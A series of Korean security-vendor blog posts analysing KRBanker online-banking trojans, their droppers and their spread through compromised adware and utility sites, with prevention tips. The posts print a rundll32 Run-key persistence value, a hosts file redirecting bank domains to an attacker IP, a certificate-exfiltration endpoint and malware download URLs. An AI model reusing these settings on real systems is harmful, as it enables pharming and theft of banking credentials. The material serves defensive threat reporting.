kaulj.exe 악성코드 분석 보고서  

 

1. 개요


1.1. 파일정보

 

 파일명

 kaulj.exe

 파일크기

 96,710 byte

 진단명

 Trojan/W32.KRBanker.96710

 악성동작

 인터넷 뱅킹 파밍인증서 탈취

 특징

 hosts hosts.ics파일 변조를 통한 위조 사이트 유도 및 인증서 탈취

 자동실행으로 지속적인 악성동작 유지

 파일 드랍



1.2. 분석환경


 운영체제

 Windows XP SP3 32bit (한글)

 분석도

 IDA, PEview, OllyDbg, ProcExp


 

 

2. 분석정보

2.1. 파일 유포 경로

이번 샘플은 10월 첫째 주 주말 동안 *******wire.com외 의류쇼핑몰, 건강식품쇼핑몰, 어린이집 등 40여개에 이르는 사이트를 통해 유포되었다*******wire.com 외에 아래 표에 나열된 최초 경유사이트들은 공통적으로 www.k****.co.kr/cd1.html 를 중간 경유사이트로 사용하였고, 최종 경유사이트 180.**.***.131/Us******sc*****x.html를 거쳐 www.t*****a*s.com/kaulj.exe에서 다운로드 되었다.



www.e****.co.kr

p*****.ar*****e.com

www.bo****nd****a.co.kr

www.b***.co.kr

www.s****.co.k******ain.asp

www.r****.co.kr

www.s****w**.biz

www.t*****a**.com

www.m*******im.pe.kr

www.e***b.co.kr

www.y***.com

www.b*****y.com

www.h****b.co.kr

www.c***u.com

www.n******en.or.kr

t****erc******ing.co.kr

www.vi*******rl.kr

***.**s.or.kr

www.i******t.co.kr

www.a***d.com

www.s****n.pe.kr

www.r***a.co.kr

www.a****op.co.kr

이하생략

[표]최초 경유 사이트 목록


2.2. 샘플 분석

Kaulj.exe는 KRBanker 진단명을 갖고 있으며 인터넷뱅킹 사용자를 위조 인터넷뱅킹 사이트 접속을 유도(파밍)한다. 본 보고서는 샘플 내부 상세 동작에 중점을 두고 분석을 진행했다.

 

2.2.1. kaulj.exe 상세 분석


악성동작은 다운로드된 실행파일이 아닌 kaulj.exe에서 드랍된 dllrundll32.exe를 통해 실행되어 동작한다. 이 때 실행파일은 드랍퍼 역할만 수행하는 것이다. 파일 드랍 과정에서 각종 안티 디버깅 기법이 존재하기에 분석 시간이 오래 걸리며 진단이 늦춰지고, 악성동작 생명주기를 연장시킨다. 결과적으로 샘플 실행 시, D:\5자리 랜덤 문자열의 폴더가 숨김 속성으로 생성되고, 그 안에 확장자가 6자리 랜덤 문자열인 dll파일이 드랍된다. D드라이브가 존재하지 않을 경우엔 C:\에 생성한다.



 


[그림]드랍된 파일




이후 rundll32.exe를 실행시켜 드랍한 dll파일의 export함수 Dialer를 실행하고, 재부팅해도 이 과정이 실행되도록 레지스트리를 수정한다. 모든 악성동작은 드랍한 dll파일의 Dialer함수 안에 구현되며, 자동실행등록을 마친 실행파일은 자신을 삭제한 후 종료된다.

 



[그림]자동실행 설정된 레지스트리





2.2.2. Dialer 함수 상세분석

Dialer함수는 C:\경로에 wiseman.exe의 유무를 확인 후, 있다면 실행시킨다하지만 이 파일은 테스트 환경에서 드랍되거나 다운로드 되지 않기 때문에 실제 동작하지는 않는다여기서 wiseman.exe는 유명 애드웨어의 파일명으로 다른 KRBanker의 변종 중 이 파일을 드랍하고 실행하는 샘플이 존재도 한다.

 

 


[그림]wiseman.exe stov.exe 실행




이후 174.***.65.**2으로 접속을 시도한다. 이 주소로부터 전송 받은 데이터를 기반으로 C:\lang.ini파일을 기록하거나, 파일을 다운로드 하는 등의 동작을 수행하지만 현재 174.***.65.**2에 접속되지 않아 실제 데이터는 확인되지 않는다.


C:\lang.ini
에 기록하는 내용은 인증서파일 전송지 주소이다. 지금처럼 서버와 통신이 되지 않는 경우에는 전송지 주소를 기본 174.***.35.**3/u.php로 설정한다.


다운받는 새로운 모듈은
“5자리랜덤문자.mp3”로 저장하여 서비스나 프로세스를 생성하는데 사용된다. 특히 서비스 생성에 사용될 땐 레지스트리 …\CurrentControlSet\Services\RemoteAccess\RouterManagers\IP Dllpath의 값을 수정하는데, 정상적인 Dllpath의 값은 “%WIDDIR%\system32\iprtrmgr.dll”이다.
이 레지스트리는 “Routing and Remote Access” 서비스에 필요한 dll을 명시한 것으로, 정상 dllPC가 라우터 기능을 하는데 필요한 함수를 export하고 있다. 레지스트리 수정 후에는 동일 모듈을 사용해 랜덤한 31자리 문자열을 이름으로 서비스를 생성하는 루틴이 있다.



[그림]다운로드 및 서비스/프로세스 생성



[그림]서비스 생성의 경우



[그림]프로세스 생성의 경우




다운로더 및 인증서 탈취 동작 이후에는 hosts파일 변조를 수행한다. 특이사항으론 가상환경이 탐지되었을 루틴이 추가된다는 점이다.



샘플은 아래의 레지스트리를 확인하여 VMwareHostOpen.exe키의 존재로 가상 환경을 식별한다. HKCR\Applications\ 하위에는 해당 PC에서 실행되는 각종 실행파일명과 그 실행에 관련된 옵션들이 명시되어 있다. 따라서 이 레지스트리 하위에 가상환경에서 주로 사용되는 VMwareHostOpen.exe가 존재한다면 가상PC임을 식별할 수 있다.




 [HKCR\Applications\cmd.exe]

  [HKCR\Applications\access.exe]

[HKCR\Applications\VMwareHostOpen.exe]

[표]레지스트리 예시




가상 PC로 식별된다면 샘플은 다른 악성 주소 http://b***.s***.com.**/u/5*****98** 로 접속을 시도하고 위의 루틴과 마찬가지로 파일을 다운로드 해 서비스 혹은 프로세스로 실행시키는 추가동작을 수행한다.






[그림]가상PC에서의 추가동작






3. 결론


kaulj.exe는 인터넷뱅킹 파밍 이라는 수행한다는 점에서 KRBanker로 진단된 다른 샘플들과 큰 차이는 없으나 상세분석 결과 내부적으로 동작하지 않는 여러 악성 루틴이 존재하는 것으로 확인되었다. 이는 악성샘플들도 다른 프로그램들과 마찬가지로 계속 개발 및 기능추가가 되고 있고 새로 배포되는 악성샘플들은 언제라도 추가적인 악성동작을 수행할 가능성이 있음을 시사한다. 또한 40여개에 이르는 최초 경유사이트의 숫자에서 해커가 악성코드 배포에 더욱 공격적으로 임하고 있음을 알 수 있다.



현재 nProtect AVS에선 드랍퍼 kaulj.exe와 드랍된 dll파일도 진단하고 있다

 


 

[그림]진단 및 치료 가능

 

 

 

저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect

BERPOY.exe 악성코드 분석 보고서  

 



1. 개요


1.1. 파일정보

 

 파일명

 BERPOY.exe

 파일크기

 79,368 byte

 진단명

 Trojan/W32.KRBanker.79368

 악성동작

 인터넷 뱅킹 파밍, 인증서 탈취

 연결대상

 **7.**3.**9.**8

특징

 DNS host 파일 변조, 인증서를 네트워크로 전송



1.2. 분석환경


 운영체제

 Windows XP SP3

 분석도구

 Process Monitor, Process Explorer, Autorun, Regshot, Wireshark


 

1.3. 전체흐름도

 

 

 

 

2. 분석정보

2.1. 파일 유포 방식

 

특정 학회 웹 서버에 업로드된 악성파일 (http://ch*********.net/ba********/*/ BERPOY.exe) 이 다운로드 실행된다.


2.2. 샘플 분석

2.2.1. 파일 생성

 

본 샘플 파일은 실질적인 악성동작을 수행하지 않고, 수행하는 파일을 따로 생성하여 실행시킨다. 실행된 후에는 D드라이브 또는 C드라이브 하위에 랜덤 이름의 폴더를 생성한 후, 랜덤 이름의 파일을 드랍한 뒤 폴더 속성을 숨김으로 지정하여 사용자가 인지하기 어렵게 만든다. 생성된 파일은 각기 다른 이름과 확장자를 가지지만 파일 내용은 동일하다.

대다수 악성파일은 C드라이브 하위 폴더에 파일을 생성하는 데 반해 BERPOY.exe D드라이브 하위에 우선 생성하는 것이 첫 번째 특이점이며, 감염 시점마다 폴더와 파일명뿐만 아니라 파일 확장자도 랜덤 생성한다는 것이 두 번째 특이점이다.
(
이미 감염된 환경에서의 재감염은 없다.)
 


 

 

[그림]BERPOY.exe 악성동작 수행 파일 생성

 

2.2.2. 자동실행 레지스트리 등록 


실행 후에는 PC 재 부팅 시에 악성파일이 자동으로 실행될 수 있도록 레지스트리에 값을 등록한다.

 

레지스트리 키: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

                          값 이름: EvtMgr

                          값 데이터: c:\windows\system32\rundll32.exe
"D:\kpcebbs\zlfne.lnz",Connect

 

 

 

2.3. ZLFNE.LNZ 악성파일


2.3.1. DNS 변경

 

사용자의 DNS 설정을 변경한다.

 

 

             DNS 1 = 127.0.0.1

             DNS 2 = 8.8.8.8

 

 

이는 이후의 hosts 파일 변조 동작과 파밍을 위한 준비 작업이다.

 

 

2.3.2. HOSTS 파일 변조

 

k*****r.com IP 주소 (**7.**3.**9.**8)를 알아오고 이를 이용하여 C:\windows\system32\drivers\etc\hosts 파일을 변경한 후, 동일한 경로에 복사본 hosts.ics 를 생성한다.

 

**7.**3.**9.**8    search.daum.net

**7.**3.**9.**8    search.naver.com

**7.**3.**9.**8    www.kbstar.com.ki

**7.**3.**9.**8    www.knbank.co.kr.ki

**7.**3.**9.**8    openbank.cu.co.kr.ki

**7.**3.**9.**8    www.busanbank.co.kr.ki

**7.**3.**9.**8    www.nonghyup.com.ki

**7.**3.**9.**8    www.shinhan.com.ki

**7.**3.**9.**8    www.wooribank.com.ki

**7.**3.**9.**8    www.hanabank.com.ki

**7.**3.**9.**8    www.epostbank.go.kr.ki

**7.**3.**9.**8    www.lottirich.co.ki

**7.**3.**9.**8    www.nlotto.co.ki

**7.**3.**9.**8    www.gmarket.net

**7.**3.**9.**8    nate.com

**7.**3.**9.**8    www.nate.com

**7.**3.**9.**8    daum.com

**7.**3.**9.**8    www.daum.net

**7.**3.**9.**8    daum.net

**7.**3.**9.**8    www.zum.com

**7.**3.**9.**8    zum.com

**7.**3.**9.**8    naver.com


[표]변조된 hosts.ics, hosts파일 내용

 

 

hosts 파일 내에는 naver.com, daum.net 등과 같이 사용자가 주로 접속하는 검색엔진 홈페이지 주소와 kbstar.com, knbank.co.kr 등과 같은 금융권 홈페이지 주소가 등록되어 있다.

검색엔진의 도메인을 입력하면 hosts 파일에 의해 **7.**3.**9.**8 으로 연결되어 가짜 검색엔진 홈페이지가 보여지고 검색, 로그인, 이미지 표시 등이 정상적으로 동작하지 않는다. 또한 홈페이지 가운데에 종료할 수 없는 금융감독원팝업을 발생시켜 사용자가 금융권 페이지로 접속하기를 유도한다.

 

 

 

[그림]가짜 검색엔진 홈페이지

 

팝업창의 은행 로고를 클릭할 경우, 가짜 금융권 사이트로 연결된다. 이 때, 연결된 페이지에서 어느 것을 클릭해도 보다 안전한 서비스 이용을 위하여 추가 인증이 필요합니다라는 내용의 팝업을 발생시키고 변조된 전자금융사기예방서비스홈페이지로 강제 연결된다. 접속된 페이지에선 사용자의 이름, 주민번호, 비밀번호, 보안카드 등 주요 개인정보들의 입력을 유도한다.


 

 

 

 

 

[그림]변조된 전자금융사기예방서비스 페이지

 

 

2.3.3. 인증서 탈취

 

hosts 파일을 변조하여 개인정보 탈취 준비를 마친 후, 특정 경로 하위 NPKI 폴더의 존재여부를 검사하여 인증서의 유무를 확인하고 인증서를 특정 서버 (http://**7.**3.**1.**9:****4 /u.php) 로 전송한다.


 

 

 

[그림]인증서 전송 패킷

 


저작자 표시 비영리 변경 금지
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 전자금융 메모리 해킹 조직, 탐지회피 목적의 변칙공격

잉카인터넷 대응팀은 2013년 7월 23일과 12월 23일에 메모리 해킹 기능의 인터넷 뱅킹 악성파일(KRBanker)이 국내 애드웨어 서버를 통해서 전파되고 있다는 것을 최초로 공개한 바 있다.

물론 해당 조직들은 2013년 전후로 온라인 게임 계정 탈취 기능의 악성파일을 유사한 기법으로 계속 유포하고 있었지만, 2013년 중순 경부터 메모리 해킹 기능의 악성파일 전파를 본격적으로 시작하였다.

해당 악성파일 유포 조직들은 현재 이 시간도 다수의 애드웨어 서버를 통해서 꾸준히 최신 변종 악성파일을 유포하고 있는 상태이다.

[긴급]애드웨어 끼워팔기식의 메모리해킹 기법의 악성파일 급증
☞ http://erteam.nprotect.com/461


[주의]애드웨어를 통한 메모리해킹 KRBanker 변종 악성파일 유포
http://erteam.nprotect.com/460


[주의]공공의 적 애드웨어 전자금융사기 파밍용 악성파일 대방출
http://erteam.nprotect.com/437


[안내]유해 가능한 변칙 광고프로그램 감염 예방하기 십계명

☞ http://erteam.nprotect.com/350

[칼럼]불순한 변칙 광고프로그램 유해성 판단여부 하나도 애매하지 않다.
☞ http://erteam.nprotect.com/346

[칼럼]국산 유해가능 제휴프로그램 난립실태와 근절대책의 핵심
☞ 
http://erteam.nprotect.com/319


애드웨어를 통한 유포방식은 Drive By Download 기법의 보안관제를 우회하기가 좋고, 보안취약점이 존재하지 않아도 된다는 장점 때문에 메모리 해킹 조직이 수 개월 이상 집중공격에 이용하고 있고, 매우 다양한 애드웨어가 악용되고 있는 실정이다.

악성파일 유포에 악용된 대표적인 국내 애드웨어 이름은 다음과 같이 매우 다양하고, 아래 공개한 서버 이외에도 다수가 발견되고 있는 실정이다.

무심코 설치하여 방치하고 있던 애드웨어의 업데이트와 설치 등에 의해서 메모리 해킹 기능의 전자금융사기 공격에 광범위하게 노출되고 있어 그 심각성이 더해가고 있다. (알파벳 순서)

addendam
addendov
adgod
batangicon
enumstates
everlive
filepop
liveicon
milkcon 
openkeyword
openmatch (adgod)
openpotservice
popscan
qcounter
search-lines
smart-manager
smarttip
smartw
syndiapi
vaccineclinic
windoguide
wingsearch
기타등등


2. 유틸리티 서버를 겨냥한 결합형 해킹시도 징후포착 

이런 가운데 2014년 01월 10일과 11일에는 동영상 재생 프로그램인 초코플레이어 웹 사이트를 통해 메모리 해킹 기법의 악성파일 유포에 악용된 정황도 포착되었다. 현재는 악성파일이 서버에서 모두 제거된 상태이다.

[1월 10일]
http://www.chocoplayer.com/board/data/php/lg1.exe 

[1월 11일]
http://www.chocoplayer.com/board/data/php/lg.exe

잉카인터넷 대응팀은 국내 애드웨어 서버를 통해 은밀하게 메모리 해킹용 악성파일을 유포하던 조직들이 유명 유틸리티 프로그램의 서버들도 노리고 있다는 것을 예의주시하고 있다.

이들은 이미 과거에도 안카메라 서버를 해킹해 온라인 게임 계정탈취 기능의 악성파일을 배포된 바 있다. 아래는 2013년 03월 23일 안카메라 사이트에 올려진 사과 공지문이다.

http://www.ancamera.co.kr/home/view.html?num=ch8fGA==&cate1=LkZdQR0l



이처럼 메모리 해킹 기능의 악성파일을 제작 유포하고 있는 조직은 매우 조직적으로 국내 웹 서버를 해킹해서 정상파일을 악성파일로 교체하는 지능화된 공격기법을 활용하고 있다.

따라서 이용자들은 우선적으로 감염되어 있는 애드웨어 치료를 적극적으로 수행하여야 하며, 개인 블로그나 커뮤니티 등에서는 프로그램 다운로드를 자제하고, 반드시 신뢰할 수 있는 유명 공식사이트를 이용하는 것을 명심해야 한다. 더불어 이와 유사한 악성파일들은 esetenp.dll, kakubi.dll, kakune.dll, kakutk.dll, verslon.dll, versxon.dll, godlion.dll, kerogod.dll 등의 파일명으로 생성되고 있고, 계속해서 변종이 제작되고 있다. 

가장 최근에 제작되어 사용 중인 악성파일은 국내 시중은행 4곳의 보안카드 입력회수 오류를 사칭하여 이용자의 금융정보 탈취를 시도하고 있어 각별한 주의가 요망된다.

혹시 아래 이미지와 유사한 화면을 목격하게 될 경우 악성파일에 감염된 상태이므로, 절대 보안카드 번호를 입력하지 말아야 한다. 


3. 피싱(파밍) 사이트 진위여부 판단 노하우 

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다. 


2014년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.
 

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com

 

저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 국산 애드웨어 유통서버를 통한 악성파일 전파 패러다임의 변화

잉카인터넷 대응팀은 국산 애드웨어 서버나 프로그램 모듈을 은밀하게 위변조하여 온라인 게임계정 탈취와 메모리 해킹 등의 전자금융사기용 악성파일을 배포되고 있는 정황을 여러차례 공개한 바 있었는데, 최근들어 이 방식이 유행처럼 번져나가고 있어, 긴급대응 및 집중 모니터링 상태를 유지하고 있다.

이렇게 애드웨어에 끼워팔기식으로 유포하는 기법은 기존의 [Drive By Download] 기법이나 [Watering Hole] 방식을 이용한 웹 보안 관제만으로는 탐지하기가 매우 어렵고, 이용자들의 환경에 보안 취약점이 존재하지 않아도 부지불식간에 악성파일을 몰래 전파시킬 수 있기 때문에 사이버 범죄자들에게 감염율이 높은 공격기법으로 활용되고 있다.

[주의]애드웨어를 통한 메모리 해킹 KRBanker 변종 악성파일 유포
http://erteam.nprotect.com/460

[주의]공공의 적 애드웨어 전자금융사기 파밍용 악성파일 대방출
http://erteam.nprotect.com/437

[안내]유해 가능한 변칙 광고프로그램 감염 예방하기 십계명

☞ http://erteam.nprotect.com/350

[칼럼]불순한 변칙 광고프로그램 유해성 판단여부 하나도 애매하지 않다.
☞ http://erteam.nprotect.com/346

[칼럼]국산 유해가능 제휴프로그램 난립실태와 근절대책의 핵심
☞ 
http://erteam.nprotect.com/319


보통 웹 사이트를 통한 악성파일 전파방식은 이용자 컴퓨터에 다양한 보안취약점이 우선 존재해야 하는 전제조건이 성립해야만 감염될 수 있기 때문에 아무리 많은 웹 사이트에서 악성파일을 동시다발적으로 배포하더라도 이용자의 보안수준에 문제가 없다면 악성파일에 노출될 빈도수는 상대적으로 낮아질 수 있었다.

그러나 애드웨어의 기존 유통 경로를 악용한 전파방식은 프로그램의 보안 취약점을 이용한 방식이 아니기 때문에 기존에 감염되어 있는 이용자들에게 업데이트 기능을 통해서 몰래 유입시키거나 애드웨어 유통 비율과 동일하게 악성파일을 배포할 수 있는 큰 장점을 보유하고 있다.

아래 파일들은 실제로 국내 인터넷 뱅킹 이용자와 온라인 게임 이용자의 계정정보 등을 노린 악성파일을 이용자 몰래 함께 배포한 이력을 가진 대표적인 애드웨어들이고, 이것 외에도 다수 존재한다. 공격자들은 상대적으로 보안이 허술한 국내 애드웨어 업체의 서버를 해킹하거나 파일을 변조하여 악성파일 유포에 남용하고 있는 것이다.


이는 Drive By Download 기법의 웹 모니터링과 탐지센서의 감시망을 은밀하게 우회해서 배포할 수 있다는 이점이 결합되면서 더욱 더 교묘하고 지능적인 공격기법이라 할 수 있다. 왜냐하면, 애드웨어가 설치하는 추가파일을 지속적으로 관찰하고 실체를 확인할 수 있어야만, 정확한 프로파일링과 대응이 가능하기 때문이다.

2. 퓨전공격 기법과 변화무쌍한 카멜레온 전술

지능적 사이버 범죄자들은 보안 전문업체의 관제를 회피하여 이용자의 컴퓨터에 안착하기 위한 다양한 공격기법을 연마하고 있다. 마치 공수부대 특수 침투조들이 상공에 떠있는 항공기에서 적지에 낙하산을 펴고 투입하는 작전을 진행하듯이, 악성파일 유포 방식이 갈수록 고도화되고 있는 추세이다.

국내에서는 유명 온라인 게임 계정탈취를 이용하는 악성파일이 오래 전 부터 기승을 부렸고, 그 계정을 통한 금전적 이득을 취한 사이버 범죄조직들은 인터넷 뱅킹 이용자도 정조준하고 있는 상태이다. 이렇듯 다양한 퓨전공격이 복합적으로 이뤄지고 있고, 공격자들은 필요에 따라 변장술을 적재적소에 적용하고 있다.

아래 화면은 악성파일 내부에 존재하는 문자열 등이고, 보안프로그램 방해와 여러 온라인 게임 문자들을 볼 수 있다.


국내 애드웨어 모듈을 바꿔치기한 악성파일류는 2013년 초순에는 인터넷 상품권, 사행성 게임, 온라인 게임 계정이나 아이템 등을 노린 악성파일로 "kakubi.dll" 이름의 파일명을 사용하였고, 2013년 중순 경부터는 "kakutk.dll" 이름의 파일명이 널리 사용되었다.

그러다가 2013년 하순 경에는 시스템에 존재하는 정상적인 "version.dll" 시스템 파일을 악성파일로 교체하고, 파일명이 유사한 "verslon.dll" 이름의 악성파일을 생성하고, 정상파일은 "vorsion.dll" 파일명으로 바꾸는 기법도 활용되었다. 더불어 2014년 1월에는 "version.dll" 파일과 "godlion.dll" 파일명으로 악성파일을 생성하는 기법으로 변모하고 있다.


가장 최근에 제작되어 사용 중인 악성파일은 국내 시중은행 4곳의 보안카드 입력회수 오류를 사칭하여 이용자의 금융정보 탈취를 시도하고 있어 각별한 주의가 요망된다.

혹시 아래 이미지와 유사한 화면을 목격하게 될 경우 악성파일에 감염된 상태이므로, 절대 보안카드 번호를 입력하지 말아야 한다.


3. 피싱(파밍) 사이트 진위여부 판단 노하우 

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다. 

 

2014년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.
 

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/

 

 
저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 국산 Adware 프로그램 변조를 통한 인터넷 뱅킹 공격 시도

2013년 12월 23일 잉카인터넷 대응팀은 국내에 지속적으로 유포 중인 변칙적 광고프로그램(Adware)을 조작한 후 메모리 해킹용 인터넷 뱅킹 악성파일(KRBanker) 변종을 몰래 유포시키고 있는 정황을 포착하였다. 이 수법은 전자금융사기 범죄자들이 보안업체의 관제 및 탐지를 우회하기 위해서 애드웨어 모듈까지 은밀히 변조하여 사용하고 있는 지능적 공격방식이다.

잉카인터넷 대응팀은 지난 2013년 07월 경에도 이와 관련된 정보를 최초 공개한 바 있으며, 2013년 12월에 동일 방식의 메모리 해킹 기능의 인터넷 뱅킹용 악성파일(KRBanker) 변종이 다수 전파되고 있는 사실을 확인했다.

[주의]공공의 적 애드웨어 전자금융사기 파밍용 악성파일 대방출
☞ http://erteam.nprotect.com/437

2. 인터넷 뱅킹 악성파일을 품은 애드웨어

우선 악성파일 유포자들은 각종 애드웨어들의 유포 통로를 통해서 은밀하고 조용하게 고도화된 전자금융사기용 악성파일을 배포하는 창구로 악용하고 있다. 국내에 유포 중인 대부분의 변칙 광고프로그램들은 마치 정상적인 다운로드 프로그램이나 런처 등으로 위장하여 이용자들을 현혹시키고 있고 무수히 많은 변종들이 양산되고 있는 추세이다.

[안내]유해 가능한 변칙 광고프로그램 감염 예방하기 십계명
☞ http://erteam.nprotect.com/350

[칼럼]불순한 변칙 광고프로그램 유해성 판단여부 하나도 애매하지 않다.
☞ http://erteam.nprotect.com/346

[칼럼]국산 유해가능 제휴프로그램 난립실태와 근절대책의 핵심
☞ 
http://erteam.nprotect.com/319

[뉴스]애드웨어로 전파된 신종 메모리 해킹 일당 검거 (SBS 8시뉴스)
http://news.sbs.co.kr/section_news/news_read.jsp?news_id=N1002198339


한 예로 이용자들이 유명 포털 검색 사이트를 통해서 특정 프로그램을 검색하면 공식 사이트가 아닌 개인 블로그나 인터넷 카페 등에 등록되어 있는 비정상적인 다운로드 프로그램을 안내하고, 제휴프로그램이라는 명목으로 이용자 몰래 다수의 애드웨어를 설치하도록 유도하고 있다. 대부분의 변칙 광고프로그램은 이용자들에게 실제 설치되는 화면을 보여주지 않고 몰래 설치하기 때문에 그 과정을 인지하기 어렵다.  

 
상기와 같이 검색결과를 통해서 접속한 특정 블로그에 마치 정상적인 APK 파일처럼 위장한 다운로드 링크가 존재하지만, 실제로 클릭을 하게 되면 실행형(EXE) 프로그램이 다운로드되어 이용자의 실행을 유도하고, 교묘하게 숨겨져 있는 추가 다운로드 프로그램을 통해서 다수의 애드웨어들이 몰래 설치되도록 하는 방식이다.


이렇게 전파 중인 애드웨어도 사회적인 문제이지만, 사이버 범죄자들이 이런 광고프로그램의 모듈을 추가 변조하여 인터넷 뱅킹용 악성파일 전파에 남용하고 있는 상황이고, 애드웨어 업체들에 대한 법률적 규제사항이 부족해 무분별한 유포로 이어지고 있는 실정이다.

이에 잉카인터넷 대응팀은 비정상적인 유포방식에 대한 자체 기준안을 통해 이용자들의 불편을 최소화하는데 초점을 맞추고, 악성파일 유포 경유지로 악용되는 사례 공개와 이용자 관점에서 탐지 및 치료패턴을 지속적으로 추가하고 있다. 



국산 애드웨어처럼 위장한 인터넷 뱅킹용 악성파일은 2013년 12월 23일 경 다수의 변종이 제작되었으며, 파일 섹션명을 동일하게 사용하는 특징도 존재한다.

[##_http://erteam.nprotect.com/script/powerEditor/pages/1C%7Ccfile9.uf@2343B24D52C601940CADE4.png%7Cwidth=%22553%22%20height=%22241%22%20alt=%22%22%20filename=%2205-w.png%22%20filemime=%22image/jpeg%22%7C_##]
상기에 공개한 특정 애드웨어 외에도 다른 업체의 애드웨어도 동일 범죄조직에 의해서 인터넷 뱅킹 악성파일 변종유포에 이용한 사례가 다양하게 존재한다. 아래의 경우는 국내 허위 보안제품이 조작되어 메모리 해킹용 악성파일이 유포된 종류이다.

 

애드웨어 프로그램으로 위장한 악성파일이 실행되면 아래와 같이 국내 온라인 게임 계정 및 인터넷 뱅킹용 악성파일 등이 다양하게 설치하며, 원래 실행됐던 악성파일은 본래의 애드웨어 프로그램으로 정상 교체하여 자신의 노출을 최대한 숨길려고 한다.


설치된 "kakutk.dll" 악성파일은 국내 금융사이트를 대상으로 메모리 해킹 및 금융정보 탈취 기능을 수행하며, 변종이 꾸준히 발견되고 있다.



이번 메모리 해킹 변조용 인터넷 뱅킹 악성파일은 기존 금융보안 모듈 변조 대상에서 일부 모듈이 추가되었고, 대상 금융사이트도 추가되었다.


또한, 보안카드 입력 오류처럼 위장하는 수법도 추가되었다.




3. 피싱(파밍) 사이트 진위여부 판단 노하우 

